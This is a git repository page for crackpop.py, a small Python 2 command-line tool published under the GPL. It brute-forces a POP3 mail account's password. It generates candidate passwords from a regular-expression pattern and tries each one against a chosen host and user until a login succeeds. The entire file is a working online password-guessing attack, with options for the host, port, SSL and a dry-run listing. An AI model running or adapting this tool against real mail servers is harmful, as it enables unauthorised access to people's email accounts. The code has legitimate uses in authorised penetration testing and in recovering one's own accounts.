8d9a45be6ce8d4c794553cf4c9aea2d226a2dba1
[crackpop.git] / crackpop.py
1 #!/usr/bin/env python
2 #
3 # crackpop - a pattern-generated-dictionary pop3 password cracker
4 #
5 # Copyright (C) 2013  Antonio Ospite <ospite@studenti.unina.it>
6 #
7 # This program is free software: you can redistribute it and/or modify
8 # it under the terms of the GNU General Public License as published by
9 # the Free Software Foundation, either version 3 of the License, or
10 # (at your option) any later version.
11 #
12 # This program is distributed in the hope that it will be useful,
13 # but WITHOUT ANY WARRANTY; without even the implied warranty of
14 # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
15 # GNU General Public License for more details.
16 #
17 # You should have received a copy of the GNU General Public License
18 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
19
20 import argparse
21 import exrex
22 import poplib
23
24 __description = "crackpop is a pattern-generated-dictionary pop3 password cracker"
25 __version = "0.1"
26 __author_info = "Antonio Ospite"
27
28
29 # returns a tuple: (num_passwords, passwords)
30 # where passwords is an iterable type
31 def generate_passwords(password_pattern, dry_run=False):
32     num_passwords = exrex.count(password_pattern)
33     passwords = exrex.generate(password_pattern)
34
35     if dry_run:
36         print "Generated %d passwords." % num_passwords
37         for p in passwords:
38             print p
39         return (0, iter([]))
40
41     return (num_passwords, passwords)
42
43
44 # the passwords parameter is a tuple: (n, L)
45 # where L is an iterable type and n is the number of elements in L
46 def crackpop(host, port, ssl, user, passwords):
47     if ssl:
48         pop3_connect = poplib.POP3_SSL
49     else:
50         pop3_connect = poplib.POP3
51
52     print "Testing %d passwords." % passwords[0]
53     for p in passwords[1]:
54         # TODO maybe the same connection can be reused for more than one try,
55         # but some logic needs to be added to detect the maximum allowed
56         # authentication attempts or a disconnection from the server.
57         pop3 = pop3_connect(host, port)
58
59         try:
60             pop3.user(user)
61             pop3.pass_(p)
62         except Exception, e:
63             print e.message, "(password: %s)" % p
64             del pop3
65             continue
66         else:
67             print "Found! (password: %s)" % p
68             break
69
70
71 def option_parser():
72     usage = "usage: %(prog)s [options]"
73
74     parser = argparse.ArgumentParser(
75         usage=usage,
76         description=__description,
77         epilog=__author_info,
78         version='%(prog)s ' + __version)
79
80     parser.add_argument(
81         '-H', '--host',  metavar="<host>",
82         dest='host', required=True,
83         help='the host where the pop3 server is')
84
85     parser.add_argument(
86         '-P', '--port', metavar="<port>",
87         dest='port', default=poplib.POP3_PORT,
88         help='the port the pop3 server is listening on')
89
90     parser.add_argument(
91         '-u', '--user', metavar="<user>",
92         dest='user', required=True,
93         help='username of the pop3 account')
94
95     parser.add_argument(
96         '-p', '--pattern', metavar="<password_pattern>",
97         dest='password_pattern', required=True,
98         help='the regular expression describing the pattern of the password')
99
100     parser.add_argument(
101         '-d', '--dry-run',
102         dest='dry_run', action='store_const', const=True,
103         help='only print out the passwords, do not connect to the pop3 server')
104
105     parser.add_argument(
106         '-s', '--ssl',
107         dest='ssl', action='store_const', const=True,
108         help='use SSL to connect to the pop3 server')
109
110     parser.add_argument(
111         '-S', '--ssl-port', metavar="<ssl_port>",
112         dest='ssl_port', default=poplib.POP3_SSL_PORT,
113         help='the port the SSL pop3 server is listening on')
114
115     return parser
116
117
118 if __name__ == "__main__":
119     parser = option_parser()
120     args = parser.parse_args()
121
122     if args.ssl:
123         port = args.ssl_port
124     else:
125         port = args.port
126
127     passwords = generate_passwords(args.password_pattern, args.dry_run)
128     crackpop(args.host, port, args.ssl, args.user, passwords)